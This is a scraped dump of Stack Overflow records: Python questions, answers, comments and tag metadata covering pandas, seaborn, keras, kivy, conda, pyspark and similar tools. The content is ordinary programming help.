has answer: http://stackoverflow.com/a/68300525
has answer: http://stackoverflow.com/a/57840200
possible better answer: http://stackoverflow.com/a/57840200
favorite count: 0
has answer: http://stackoverflow.com/a/74904000
has body: I feel I am probably not thinking of something obvious. I want to put in the same figure, the box plot of every column of a dataframe, where on the x-axis I have the columns' names. In the seaborn.boxplot() this would be equal to groupby by every column. In pandas I would do df = pd.DataFrame(data = np.random.random(size=(4,4)), columns = ['A','B','C','D']) df.boxplot() which yields Now I would like to get the same thing in seaborn. But when I try sns.boxplot(df), I get only one grouped boxplot. How do I reproduce the same figure in seaborn?
type: Question
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/51777217
tagged with: seaborn
has answer: http://stackoverflow.com/a/49554843
upvote count: 70
tagged with: python
answer count: 4
downvote count: 0

http://stackoverflow.com/q/49461366
downvote count: 0
tagged with: python
has body: I'm trying to figure out how to join multiple images with vips via python. I have in a folder lets say 30 ( but can be more than 600 ) png files that are stripes, they have resolution 854x289920 ( all the same resolution )... PIL in python will immediately die if I try join them together horizontally with MemmoryError. So I google around and found VIPS which can do both things I need join the images and make deep zoom image from result. Unfortunately I'm not sure how to correctly join them horizontally in python. I have in array a list of images from folder, but how would I loop through them and sequentially write joined image out to disk ?
score: 4
has title: Joining multiple huge images with pyvips
has answer: http://stackoverflow.com/a/49476904
answer count: 3
has answer: http://stackoverflow.com/a/49469086
has answer: http://stackoverflow.com/a/49461438
tagged with: image-processing
tagged with: image
favorite count: 0
type: Question
upvote count: 4
tagged with: vips
type: UnansweredQuestion

http://stackoverflow.com/a/64700773
downvote count: 0
answers question: http://stackoverflow.com/q/49542417
type: Answer
score: 4
upvote count: 4
has body: I have the same issue as @jtlz2 that none of the above suggestion works for me except @hainm's very specific version combination for jupyter-lab, ipywidgests, and jupyter-widgets/jupyterlab-manager. Following the initial version numbers listed in this post (https://github.com/jupyter-widgets/ipywidgets/issues/2488#issuecomment-509719214), I tried to find the most updated version combination that works. I list them below, such that one can try it if there is really nothing else working for him/her. pythonversion=3.8.0 labversion=2.1.5 labmanagerversion=2.0 ipywidgetsversion=7.5.1 nodejsversion=10.13.0 conda create -n lab python=$pythonversion -y source activate lab conda install nodejs=$nodejsversion -c conda-forge -y conda install ipywidgets=$ipywidgetsversion -c conda-forge -y conda install jupyterlab=$labversion -y -c conda-forge jupyter-labextension install @jupyter-widgets/jupyterlab-manager@$labmanagerversion It seems that the version of nodejs plays a key role. Holing everything else equal, if I update nodejsversion to 12.x+ or the latest 14.x, this combination as well as @hainm's combination both fail to make ipywidgets behave normally in Jupyterlab. Other than the one I listed in the above code cell, below 6 combinations also work for me. (pythonversion ,labversion ,labmanagerversion ,ipywidgets ,nodejsversion) (3.7 , 0.34 , 0.37 , 7.4.2 , 10.13) (3.7 , 1.0 , 1.0 , 7.4.2 , 10.13) (3.7 , 2.0 , 2.0 , 7.4.2 , 10.13) (3.8 , 2.0 , 2.0 , 7.4.2 , 10.13) (3.8 , 2.0 , 2.0 , 7.5.1 , 10.13) (3.8 , 2.1.5 , 2.0 , 7.5.1 , 10.13)

http://stackoverflow.com/q/49586519
linked to: http://stackoverflow.com/q/26619272
tagged with: python
has title: `python3 bar.py` execute file without modifying mode
has comment: http://stackoverflow.com/comment/86181243
has body: Suppose there's this script: #! /usr/local/bin/python3 # I'm bar print('bar') Check the file permissions: ls -l bar.py -rw-r--r-- 1 me staff 56 Mar 31 17:47 bar.py Run it: $ python3 bar.py bar # the mode was not changed after being executed $ ls -l bar.py -rw-r--r-- 1 me staff 56 Mar 31 17:47 bar.py However, if I execute it from the specified interpreter $ ./bar.py bash: ./bar.py: Permission denied It means that the mode should've been modified previously. $ chmod 755 bar.py $ ./bar.py bar What's the mechanism behind python3 bar.py which executes a file without amending mode?
has comment: http://stackoverflow.com/comment/86180973
has comment: http://stackoverflow.com/comment/86181210
has comment: http://stackoverflow.com/comment/86180984
has comment: http://stackoverflow.com/comment/86181009
score: 0
duplicate of: http://stackoverflow.com/q/26619272
answer count: 0
has comment: http://stackoverflow.com/comment/86181039
has comment: http://stackoverflow.com/comment/86181281
type: Question
has comment: http://stackoverflow.com/comment/86180882
type: UnansweredQuestion

http://stackoverflow.com/comment/86131783
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/49537254
type: Comment
has text: See **help(np.arange)**. In fact, to be sure to obtain an exact representation of the solution, you need to use **np.linspace()** instead of **np.arange()** as _np.arange()_ is more accurate with **integer** _step_

http://stackoverflow.com/comment/86005482
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/49500514
type: Comment
has text: Yea I tried it, I got an error of `('City', 'occurred at index Chicago')`, then I removed that `set_index` line and it solved everything! Thanks again, really appreciated!

http://stackoverflow.com/a/49492431
has comment: http://stackoverflow.com/comment/85988716
accepted answer of: http://stackoverflow.com/q/49490514
has body: You want to remove the square brackets from those lines i.e. they should look like: lines.dashdot_pattern : 6.4, 1.6, 1.0, 1.6 lines.dashed_pattern : 3.7, 1.6 lines.dotted_pattern : 1.0, 1.65 See, for example, here in the classic.mplstyle example sheet.
answers question: http://stackoverflow.com/q/49490514
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/85988490
upvote count: 2
downvote count: 0
type: AcceptedAnswer

http://stackoverflow.com/comment/86130446
type: AnswerComment
comment on: http://stackoverflow.com/a/49560457
score: 0
type: Comment
has text: @ Kyle, added some explanation :)

rss
type: Tag
tags question: http://stackoverflow.com/q/49589215
tag name: rss

http://stackoverflow.com/q/49475023
favorite count: 0
has body: Is there any way to visualize neural network attention in Keras-vis for a neural network involving multiple inputs? In the simplest scenario, there are two inputs, input_a and input_b. Apply a Dense layer on each input, merge the results and map them using another Dense layer to one of the classes. The attention could be visualized across all inputs.
type: Question
has title: Keras vis: how to deal with multiple inputs
type: UnansweredQuestion
upvote count: 5
tagged with: neural-network
tagged with: python
has comment: http://stackoverflow.com/comment/87671780
score: 5
has comment: http://stackoverflow.com/comment/87871116
answer count: 0
has comment: http://stackoverflow.com/comment/87870191
has comment: http://stackoverflow.com/comment/87867290
downvote count: 0
tagged with: keras
tagged with: tensorflow

http://stackoverflow.com/q/49571202
has comment: http://stackoverflow.com/comment/86150038
type: UnansweredQuestion
tagged with: python
tagged with: python-decorators
has comment: http://stackoverflow.com/comment/86150276
has title: How to pass a function output to a decorator
has body: I am new to Python decorators.I am able to run the decorator without passing any arguments. And is working fine. I am interested in passing to_decorator value to the decorator function as show below. Is this possible? def test(self, *args): return "from test" def decorate(function): def wrap_function(*args, **kwargs): print(*args) return function(*args, **kwargs) return wrap_function class Sample(): @decorate def message(*args, **kwargs): to_decorator = test(*args) print(to_decorator) Sample.message("Hello123") Thanks in advance.
score: 0
has comment: http://stackoverflow.com/comment/86150057
answer count: 0
linked to: http://stackoverflow.com/q/5929107
tagged with: python-3.x
type: Question
duplicate of: http://stackoverflow.com/q/5929107

http://stackoverflow.com/a/52931368
score: 0
answers question: http://stackoverflow.com/q/49570025
has body: Once you've downloaded pkgconfig as described in your link, you must also add the folder to your environment variables path. In my case: I downloaded and extracted pkgconfig to C:\Program Files (x86)\ I added C:\Program Files (x86)\pkg-config_0.26-1_win32\bin to my path I put the required .dll files in the bin folder also. Keep in mind you will have to restart in order for the changes to path to be effective.
type: Answer

http://stackoverflow.com/comment/85916654
comment on: http://stackoverflow.com/a/49456690
score: 0
type: AnswerComment
has text: May I know what {'max_depth':range(1,10)} was not working
type: Comment

http://stackoverflow.com/q/49524052
type: Question
tagged with: model
score: 3
type: UnansweredQuestion
tagged with: python
tagged with: data-fitting
has title: visualize/plot keras metrics with model.fit_generator()
tagged with: visualization
answer count: 0
upvote count: 3
downvote count: 0
has body: The usage of model.fit_generator() in keras works for me, however I'd like to have a live visualisation of accuracy, loss etc. like it is easily possible with model.fit(). Couldn't find any explanations on how to do that with the model.fit_generator() function. The training method of my model looks like this: def train_model(model, args, X_train, X_valid, y_train, y_valid): checkpoint = ModelCheckpoint('model-{epoch:03d}.h5', monitor='val_loss', verbose=0, save_best_only=args.save_best_only, mode='auto') model.compile(optimizer=Adam(lr=args.learning_rate), loss='mean_squared_error', metrics=['accuracy']) model.fit_generator(batch_generator(args.data_dir, X_train, y_train, args.batch_size, True), args.samples_per_epoch, args.nb_epoch, max_q_size=1, validation_data=batch_generator(args.data_dir, X_valid, y_valid, args.batch_size, False), nb_val_samples=len(X_valid), callbacks=[checkpoint], verbose=1) Thanks for help
tagged with: keras
favorite count: 0

http://stackoverflow.com/q/49587054
linked to: http://stackoverflow.com/q/5131538
has title: Extract data from list and create dictionary
has answer: http://stackoverflow.com/a/49587157
answer count: 4
type: Question
has body: Hello I am new to Python. I have a list which contains [['year', 'month', 'date_of_month', 'day_of_week', 'births'], ['1994', '1', '1', '6', '8096'], ['1994', '1', '2', '7', '7772'], ['1994', '1', '3', '1', '10142'], ......] I want to create a dictionary like days_counts = { 0: 10000, 1: 10000, 2: 10000, ... } the key is day_of_week values which are from 1 to 7 and value is the total number of births on that day.
has comment: http://stackoverflow.com/comment/86182207
tagged with: data-analysis
has answer: http://stackoverflow.com/a/49587214
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/49587154
has comment: http://stackoverflow.com/comment/86182394
has answer: http://stackoverflow.com/a/49587287
score: 0

system-calls
type: Tag
tag name: system-calls
tags question: http://stackoverflow.com/q/49539615

http://stackoverflow.com/comment/86007132
type: QuestionComment
comment on: http://stackoverflow.com/q/49494451
score: 0
has text: The Processing code you're talking about is an animation that updates 60 times per second, and doesn't contain any logic for staying inside a rectangle. You'll have better luck if you just implement the algorithm from scratch instead of trying to hammer an existing program to do something else. I'm going to remove the [tag:processing] tag because this does not contain a question about Processing.
type: Comment

http://stackoverflow.com/comment/85919555
score: 0
has text: then fillna work for you
comment on: http://stackoverflow.com/q/49458219
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49522152
type: Answer
accepted answer of: http://stackoverflow.com/q/49521882
score: 2
upvote count: 2
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/49521882
has body: For output 1, you'll need a simple sort_index. q.sort_index(level=0, ascending=False) app_num warfarin inj 2 plavix tab 1 tab 4 cap 3 For output 2, you'll need to append an extra level before sorting the index. q.set_index( q.groupby(level=[0, 1]).cumcount(), append=True ).sort_index(level=[0, 1], ascending=[False, True]) app_num warfarin inj 0 2 plavix cap 0 3 tab 0 1 1 4

http://stackoverflow.com/q/49499770
tagged with: nltk
has answer: http://stackoverflow.com/a/49506436
has comment: http://stackoverflow.com/comment/86016805
tagged with: python
has title: Nltk word tokenizer treats ending single quote as a separate word
upvote count: 4
accepted answer: http://stackoverflow.com/a/49499927
type: AnsweredQuestion
score: 4
answer count: 2
has comment: http://stackoverflow.com/comment/86056271
possible better answer: http://stackoverflow.com/a/49506436
has body: Here's a code snippet from the IPython notebook: test = "'v'" words = word_tokenize(test) words And the output is: ["'v", "'"] As you can see the ending single quote is treated as a separate word, while the first one is a part of "v". I want to have ["'v'"] or ["'", "v", "'"] Is there any way to achieve this?
downvote count: 0
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86011078
has answer: http://stackoverflow.com/a/49499927

http://stackoverflow.com/comment/86084212
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49538189
type: QuestionComment
has text: Idk why but the teacher is like a crazy mathematician and don't like that kind of functions like [].T

http://stackoverflow.com/q/49599491
answer count: 0
type: UnansweredQuestion
downvote count: 0
upvote count: 1
tagged with: python
has body: i want it can load and enable the flash in --incognito mode. but i have no idea how to make it. DETAILS: i use selenium python for chromedriver. there's a website with video area need loading flash. here's my code, when i active --incognito mode, though the page load the flash succesfully, then i must click the video area to enable it. if do not active --incognito mode, the video can be shown automatically. from selenium import webdriver driver_options = webdriver.ChromeOptions() # driver_options.add_argument("--incognito") driver_options.add_argument("--start-maximized") driver_options.add_argument(r"--ppapi-flash-path=path of pepflashplayer.dll") driver_options.add_argument("--ppapi-flash-version=29.0.0.113") driver_options.add_argument("--disable-bundled-ppapi-flash") prefs = { "profile.default_content_setting_values.plugins": 1, "profile.content_settings.plugin_whitelist.adobe-flash-player": 1, "profile.content_settings.exceptions.plugins.*,*.per_resource.adobe-flash-player": 1, "PluginsAllowedForUrls": "url" } driver_options.add_experimental_option("prefs", prefs) driver = webdriver.Chrome(executable_path=r'path of chromedriver', chrome_options=driver_options) driver.get("url")
tagged with: ppapi
has comment: http://stackoverflow.com/comment/86207688
has title: how to enable flash in --incognito mode of chrome by selenium python
score: 1
tagged with: selenium
tagged with: google-chrome
favorite count: 0
type: Question

http://stackoverflow.com/comment/86154825
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49573342
score: 1
has text: Yes, you have to add them both.

http://stackoverflow.com/comment/86106747
type: QuestionComment
has text: As a side note, is there a reason you're using Python 3.2?
comment on: http://stackoverflow.com/q/49549798
score: 0
type: Comment

http://stackoverflow.com/comment/85904690
type: QuestionComment
has text: oh thank you, i really did not see that answer.
score: 0
comment on: http://stackoverflow.com/q/49451073
type: Comment

http://stackoverflow.com/q/49570341
has title: Interactive BSpline fitting in Python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86154142
has answer: http://stackoverflow.com/a/49576600
score: 7
tagged with: matplotlib
tagged with: curve-fitting
upvote count: 7
possible better answer: http://stackoverflow.com/a/66832096
linked to: http://stackoverflow.com/q/50731785
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/66832096
accepted answer: http://stackoverflow.com/a/49576600
has comment: http://stackoverflow.com/comment/116911730
answer count: 2
has body: Using the following function, one can fit a cubic spline on input points P: def plotCurve(P): pts = np.vstack([P, P[0]]) x, y = pts.T i = np.arange(len(pts)) interp_i = np.linspace(0, i.max(), 100000 * i.max()) xi = interp1d(i, x, kind='cubic')(interp_i) yi = interp1d(i, y, kind='cubic')(interp_i) fig, ax = plt.subplots() fig,ax=plt.subplots() ax.plot(xi, yi) ax.plot(x, y, 'ko') #plt.show() return xi,yi The input points P can be of the following form: P=[(921,1181),(951,1230),(993,1243),(1035,1230), (1065,1181),(1045,1130),(993,1130),(945,1130)] Now, I wish to make these points of P draggable, such that as and when we change the position of any point, the spline gets refitted on the new points. Using this as a reference: https://matplotlib.org/1.4.3/examples/event_handling/poly_editor.html (event handling in matplotlib), I have the following code: """ This is an example to show how to build cross-GUI applications using matplotlib event handling to interact with objects on the canvas """ import numpy as np from matplotlib.lines import Line2D from matplotlib.artist import Artist from matplotlib.mlab import dist_point_to_segment class PolygonInteractor: """ An polygon editor. Key-bindings 't' toggle vertex markers on and off. When vertex markers are on, you can move them, delete them 'd' delete the vertex under point 'i' insert a vertex at point. You must be within epsilon of the line connecting two existing vertices """ showverts = True epsilon = 5 # max pixel distance to count as a vertex hit def __init__(self, ax, poly): if poly.figure is None: raise RuntimeError('You must first add the polygon to a figure or canvas before defining the interactor') self.ax = ax canvas = poly.figure.canvas self.poly = poly x, y = zip(*self.poly.xy) self.line = Line2D(x, y, marker='o', markerfacecolor='r', animated=True) self.ax.add_line(self.line) #self._update_line(poly) cid = self.poly.add_callback(self.poly_changed) self._ind = None # the active vert canvas.mpl_connect('draw_event…
has comment: http://stackoverflow.com/comment/86152126
downvote count: 0
tagged with: bspline
tagged with: python
has comment: http://stackoverflow.com/comment/86151307
tagged with: draggable
linked to: http://stackoverflow.com/q/63537721

http://stackoverflow.com/a/68728420
score: 1
downvote count: 0
upvote count: 1
has body: I used this command to resolve my error: pip install webdriver_manager
answers question: http://stackoverflow.com/q/49482586
type: Answer

http://stackoverflow.com/a/49469326
has body: Try this: In [69]: df.loc[df.time&gt;0, 'time'].idxmin() Out[69]: 3 or In [72]: df.loc[[df.loc[df.time&gt;0, 'time'].idxmin()]] Out[72]: x y time 3 240 19 9.7
downvote count: 0
has comment: http://stackoverflow.com/comment/85941277
has comment: http://stackoverflow.com/comment/85941230
answers question: http://stackoverflow.com/q/49469300
score: 5
upvote count: 5
type: Answer
has comment: http://stackoverflow.com/comment/85941289

http://stackoverflow.com/q/49522875
has comment: http://stackoverflow.com/comment/86052749
has comment: http://stackoverflow.com/comment/86052853
score: 0
has body: I am a student and I am new to matplotlib animation. I am trying to figure out how to animate zooming in towards the center of my 3d scatterplot, and I've included my code below. I am trying to get the zeroes to be at the middle of each axis so I am able to see the overall plot as a zoom in. I don't get an error whenever I run my code but when I run the animation the intervals change abruptly and don't seem to go in a certain pattern. Another thing I've noticed is that the zeroes are only sometimes in the middle of the axis, while the plot "glitches out". Thank You. import matplotlib.pylab as plt import matplotlib.animation as animation import numpy as np from mpl_toolkits.mplot3d import Axes3D %matplotlib notebook x = np.random.rand(100)*100 y = np.random.rand(100)*100 z = np.random.rand(100)*100 #setup figure fig = plt.figure() ax = fig.add_subplot(111, facecolor='LightCyan', projection = '3d') #set up viewing window (in this case the 25 most recent values) ax.set_xlim([-1, 1]) ax.set_ylim([-1,1]) ax.set_zlim([-1,1]) #sets up list of images for animation plot = ax.scatter(x, y, z, color='b', marker= '*',) def func(i): x_lim = ax.set_xlim(-i,i) y_lim = ax.set_ylim(-i, i) z_lim = ax.set_zlim(-i, i) return plot ani = animation.FuncAnimation(fig, func, frames=100, interval=1000, blit=True)
answer count: 0
type: UnansweredQuestion
tagged with: animation
has comment: http://stackoverflow.com/comment/86052523
tagged with: matplotlib
has title: How to animate zoom in a 3d scatterplot in matplotlib
tagged with: python
type: Question

http://stackoverflow.com/comment/85925158
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/49460786
has text: Also, 6 is fixed, so hardcoding 36 isn't cheating. We are specifically *not* writing a function for a general upper bound.
type: Comment

http://stackoverflow.com/comment/86196723
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/49594627
has text: then how should i give it ? app.run('0.0.0.0') ?

http://stackoverflow.com/q/49463847
tagged with: apache-spark
has title: pyspark: returning incomplete URI error
has body: I'm trying to load a MongoDB table, using a file in HDFS. I have been searching for similar issues and I found that HDFS URI must have three bars. However, even if I set the HDFS URI with three bars, I'm getting the same error: That's my code: from pyspark.sql import functions from pyspark.sql import Row from pyspark.sql import SparkSession def parseInput(line): fields=line.split('|') return Row(userId=int(fields[0]), age=int(fields[1]), gender=fields[2], occupation=fields[3], zip=fields) if __name__ == '__main__': spark=SparkSession.builder.appName('Monark').getOrCreate() lines=spark.sparkContext.textFile('hdfs:///user/hadoop/u.user') users=lines.map(parseInput) usersDataset=spark.createDataFrame(users) usersDataset.write\ .format("com.mongodb.spark.sql.DefaultSource")\ .mode("append")\ .options("uri","mongodb://127.0.0.1/movielens.users")\ .save() readUsers.read=spark.read\ .format("uri","mongodb://127.0.0.1/movielens.users")\ .mode("append")\ .options()\ .load() readUsers.readOrReplaceTempView("users") sqlDf=spark.sql("SELECT * FROM users where age &lt; 20") sqlDf.show() spark.stop() Execution log: Ivy Default Cache set to: /home/hadoop/.ivy2/cache The jars for the packages stored in: /home/hadoop/.ivy2/jars :: loading settings :: url = jar:file:/usr/local/lib/python2.7/dist-packages/pyspark/jars/ivy-2.4.0.jar!/org/apache/ivy/core/settings/ivysettings.xml org.mongodb.spark#mongo-spark-connector_2.11 added as a dependency :: resolving dependencies :: org.apache.spark#spark-submit-parent;1.0 confs: [default] found org.mongodb.spark#mongo-spark-connector_2.11;2.0.0 in central found org.mongodb#mongo-java-driver;3.2.2 in central :: resolution report :: resolve 653ms :: artifacts dl 21ms :: modules in use: org.mongodb#mongo-java-driver;3.2.2 from central in [default] org.mongodb.spark#mongo-spark-connector_2.11;2.0.0 from central in [default] --------------------------------------------------------------------- | | modules || artifacts | | conf | number| search|dwnlde…
score: 1
has comment: http://stackoverflow.com/comment/85959649
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
tagged with: mongodb
accepted answer: http://stackoverflow.com/a/49487809
tagged with: pyspark
has answer: http://stackoverflow.com/a/49487809
tagged with: python
has comment: http://stackoverflow.com/comment/86114383
tagged with: hadoop
type: AnsweredQuestion

http://stackoverflow.com/a/49625068
upvote count: 7
accepted answer of: http://stackoverflow.com/q/49448328
has comment: http://stackoverflow.com/comment/86405034
downvote count: 0
type: Answer
has body: Firsts things first, you should install and configure django-nose if you haven't done so already: pip install django-nose Then add it on your INSTALLED_APPS: INSTALLED_APPS = ( ... 'django_nose' ) TEST_RUNNER = 'django_nose.NoseTestSuiteRunner' Now for the nosetests command to run correctly, you can create a folder named tests with the following structure: project ├── mysite │ ├── blog │ │ ├── __init__.py │ │ ├── models.py | | ├── ... │ ├── mysite │ │ ├── __init__.py │ │ ├── settings.py | | ├── ... │ ├── tests │ │ ├── __init__.py │ │ ├── test_a_whole_class_of_methods.py │ │ ├── test_a_whole_view.py │ │ ├── test_one_of_my_methods.py │ │ ├── test_another_one_of_my_methods.py | | ├── ... │ ├── db.sqlite3 │ ├── manage.py ├── README.md ├── setup.py DON'T FORGET THE __init__.py FILE INSIDE THE tests FOLDER!!! Now when you run nosetests from the root of your project, it will run every test in the tests folder: ~ $ cd path/to/project path/to/project $ nosetests
has comment: http://stackoverflow.com/comment/86406103
has comment: http://stackoverflow.com/comment/86407622
answers question: http://stackoverflow.com/q/49448328
has comment: http://stackoverflow.com/comment/86408606
has comment: http://stackoverflow.com/comment/86405240
score: 7
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86411830

http://stackoverflow.com/comment/86219231
comment on: http://stackoverflow.com/a/49595616
has text: Your mapping omits 0-th period, so some range shifting does exist, and +s-1 compensates it. (new series start from 3,7,15 rather than powers of two)
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/85958334
score: 0
type: Comment
type: QuestionComment
has text: I've downvoted this because it's lacking an [mcve]. A vague outline is there but it isn't complete, and the error message does not match your simplified example.
comment on: http://stackoverflow.com/q/49476133

http://stackoverflow.com/comment/86023516
has text: The first solution brings the advantage of working `n` keys. Nice!
comment on: http://stackoverflow.com/a/49506382
score: 1
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/86092034
score: 1
type: Comment
has text: @spencerchad, Ahh sorry. Thanks for the clarification, I've adjusted my answer. If you want ray2 and ray18 to remain as one dimensional arrays then you should be able to use the code I have posted (might need some syntax fixes), otherwise if you are happy to use matrices, follow the answer posted by galaxyan.
type: AnswerComment
comment on: http://stackoverflow.com/a/49542129

http://stackoverflow.com/comment/86165686
comment on: http://stackoverflow.com/a/49578923
score: 0
type: AnswerComment
has text: To improve it, you could work upon what @abamert has done, and copy the function into another one with a different name, which is called by the original function, and have the print statement only happen in the original function, or have the print statement after where you call this method in the first place. This would also mean that none of them `return sched_output` if you only include it in the original. Refer to @abermert's answer to see this in action.
type: Comment

http://stackoverflow.com/q/49590874
type: AnsweredQuestion
tagged with: pandas
has comment: http://stackoverflow.com/comment/89938452
answer count: 1
has body: I have adapted one machine learning code for one my project.The code that worked fine on my laptop ,now makes problems on my desktop.I am checking all data frame columns for missing values. File "g100.py", line 11, in &lt;module&gt; print(dfs.columns[dfs.isna().any()].tolist()) AttributeError: 'DataFrame' object has no attribute 'isna' My installed panda versions and dependencies d.show_versions(as_json=False) INSTALLED VERSIONS ------------------ commit: None python: 3.6.3.final.0 python-bits: 64 OS: Linux OS-release: 4.13.0-37-generic machine: x86_64 processor: x86_64 byteorder: little LC_ALL: None LANG: en_US.UTF-8 LOCALE: en_US.UTF-8 pandas: 0.20.3 pytest: 3.4.2 pip: 9.0.3 setuptools: 38.5.1 Cython: None numpy: 1.11.3 scipy: 0.19.0 xarray: None IPython: 6.2.1 sphinx: None patsy: 0.5.0 dateutil: 2.6.0 pytz: 2017.3 blosc: None bottleneck: None tables: 3.4.2 numexpr: 2.6.4 feather: None matplotlib: 2.1.2 openpyxl: None xlrd: 1.1.0 xlwt: None xlsxwriter: None lxml: None bs4: 4.6.0 html5lib: 0.9999999 sqlalchemy: 1.1.9 pymysql: None psycopg2: 2.7.4 (dt dec pq3 ext lo64) jinja2: 2.10 s3fs: None pandas_gbq: None pandas_datareader: 0.6.0 I can find an explanation why isna gives me an AttributeError.
favorite count: 0
has title: 'DataFrame' object has no attribute 'isna'
type: Question
score: 12
upvote count: 12
accepted answer: http://stackoverflow.com/a/49591368
downvote count: 0
has answer: http://stackoverflow.com/a/49591368
tagged with: python

http://stackoverflow.com/comment/86086132
comment on: http://stackoverflow.com/q/49537725
score: 0
type: Comment
has text: What is your question? The error seems pretty clear: you can't pickle that object.
type: QuestionComment

http://stackoverflow.com/q/49552263
favorite count: 0
has comment: http://stackoverflow.com/comment/86111968
type: Question
upvote count: 2
has title: Create a mapping based on a two dataframe Columns
score: 0
has comment: http://stackoverflow.com/comment/86111796
has answer: http://stackoverflow.com/a/49552481
answer count: 2
downvote count: 2
has comment: http://stackoverflow.com/comment/86112295
has body: I have the below dataframe df where Column A presents some entities and Column B presents an index that these entities can have, In the specific example is each entity has a pair, i.e. ( a,b and c,d) I would like to create a new column that shows instead of the index the other pair of the entity. Initial DataFrame: df= pd.DataFrame({'col_A' : ['a','b','c','d'], 'col_B' : [1,1,2,2]});df Index Col A Col B 1 a 1 2 b 1 3 c 2 4 d 2 and I would like to create a column C that looks like this: Index Col A Col B Col_C 1 a 1 b 2 b 1 a 3 c 2 d 4 d 2 c Any pythonic way for this. I would appreciate some explanation on the code.
possible better answer: http://stackoverflow.com/a/49552481
tagged with: pandas
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49552520
has answer: http://stackoverflow.com/a/49552520
tagged with: python

http://stackoverflow.com/q/49474575
has answer: http://stackoverflow.com/a/49487721
linked to: http://stackoverflow.com/q/42453584
has title: How to install my own python module (package) via conda and watch its changes
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49478207
has body: I have a file mysql.py, which I use in almost all of my projects. Since I do not want to copy and paste the same file into each of these projects I wrote a module - possibly a package in the future. Question How do I add a local module to my conda environment, and automatically update or watch it when I change something in mysql.py? How to do the same for a package? I would like to avoid to set up a local channel/repository and just reference to the folder with mysql.py.
type: UnansweredQuestion
tagged with: package
has comment: http://stackoverflow.com/comment/105795821
tagged with: python
tagged with: module
tagged with: miniconda
linked to: http://stackoverflow.com/q/39275241
upvote count: 91
answer count: 3
tagged with: anaconda
score: 91
downvote count: 0
has answer: http://stackoverflow.com/a/49474818

http://stackoverflow.com/comment/86179616
type: Comment
comment on: http://stackoverflow.com/q/49585234
score: 0
type: QuestionComment
has text: it says that it was expecting depth to be 5 or 6. That would be CV_32F or CV_64F, or in other words, float or double. Try converting your image to floats before doing the operations. Also, I am not sure if is intended, since the name of the file looks like you are expecting a one channel image, but this one will have 3 by default (look at the imread documentation)

http://stackoverflow.com/comment/86088929
comment on: http://stackoverflow.com/q/49540313
score: 0
has text: Worth also noting, I tried the failing situation but replaced the protobuf-generated module with a basic no-op module and things worked fine.
type: QuestionComment
type: Comment

http://stackoverflow.com/a/77597882
has body: If you want to only set the name of a MultiIndex level by position, you can do so using set_names. To set the name of the first level to 'Ticker', you can use the following: df.index = df.index.set_names('Ticker', level=0) Can set it in-place as well: df.index.set_names('Ticker', level=0, inplace=True) This is useful if the MultiIndex has a lot of levels and you only want to set/modify the name of one/few levels. A working example: mi = pd.MultiIndex.from_product([['AMZN'], ['2023-11-28', '2023-12-01', '2023-12-02']], names=[None, 'date']) df = pd.DataFrame({'open':[1, 2, 3]}, index=mi) df.index.set_names('Ticker', level=0, inplace=True) # change first level name The last line makes the following transformation: N.B. Also works for MultiIndex columns as well. For columns, instead of .index, use .columns. So for example, for a dataframe with a MultiIndex columns, if we want to change the names of first and second levels, we can use the following: df.columns.set_names(["first", "second"], level=[0,1], inplace=True)
answers question: http://stackoverflow.com/q/49505080
type: Answer
score: 0

http://stackoverflow.com/comment/86016026
score: 1
type: Comment
has text: So I could just remove it?
type: QuestionComment
comment on: http://stackoverflow.com/q/49506001

http://stackoverflow.com/q/49567117
tagged with: kivy
favorite count: 0
type: Question
has title: Issues with refreshing kivy widgets
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/49579045
upvote count: 1
has body: I'm having issues with refreshing a BoxLayout of widgets by removing them and then rebuilding the widgets based on the list 'Groups'. When on the EditDeviceGroups screen, the 'create' button should add an element to the list and forward the user to the GroupTemplateScreen, which it does. The issue occurs when the user uses the back button to return to the EditDeviceGroups screen. At that point, I thought the on_enter method would refresh the widgets to include the new element, but the list shows no changes. I assume it's some sort of issue with classes and instances, but I cant quite see around this one as this is my first real attempt with Kivy. soundclout.py from kivy.app import App from kivy.properties import ObjectProperty, ListProperty, StringProperty from kivy.uix.listview import ListItemButton from kivy.uix.screenmanager import ScreenManager, Screen, WipeTransition from kivy.uix.gridlayout import GridLayout from kivy.uix.boxlayout import BoxLayout from kivy.uix.scrollview import ScrollView from kivy.uix.button import Button,Label from kivy.graphics import Color,Rectangle,InstructionGroup class GroupTemplateScreen(Screen): def remove(self): pass class HomeScreen(Screen): skipBuild = 'build_timeline_screen_6' #skips build option if already timeline is already built def skip_build_screen(self,value): if value is 1: print('HomeScreen.skip_build_screen') self.skipBuild = 'edit_timeline_screen_7' class EditDeviceGroupsScreen(Screen): #Groups = [GroupNo,null] Groups = [[1,10],[2,20]] def on_enter(self): self.ids.glayout2.clear_widgets() for i in xrange(0,len(EditDeviceGroupsScreen().Groups)): ##THISPRINT## print(str(EditDeviceGroupsScreen().Groups[i][0])) addedGroup = BoxLayout(size_hint_y=None,height='120sp',orientation='horizontal') addedButton=Button(text="Group " + str(EditDeviceGroupsScreen().Groups[i][0]) + " Settings",font_size=25) addedGroup.add_widget(addedButton) self.ids.glayout2.add_widget(addedGroup) #Removes all widget on leaving to prevent the creatio…
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49579045
score: 1
tagged with: python

http://stackoverflow.com/comment/86010717
score: 0
type: Comment
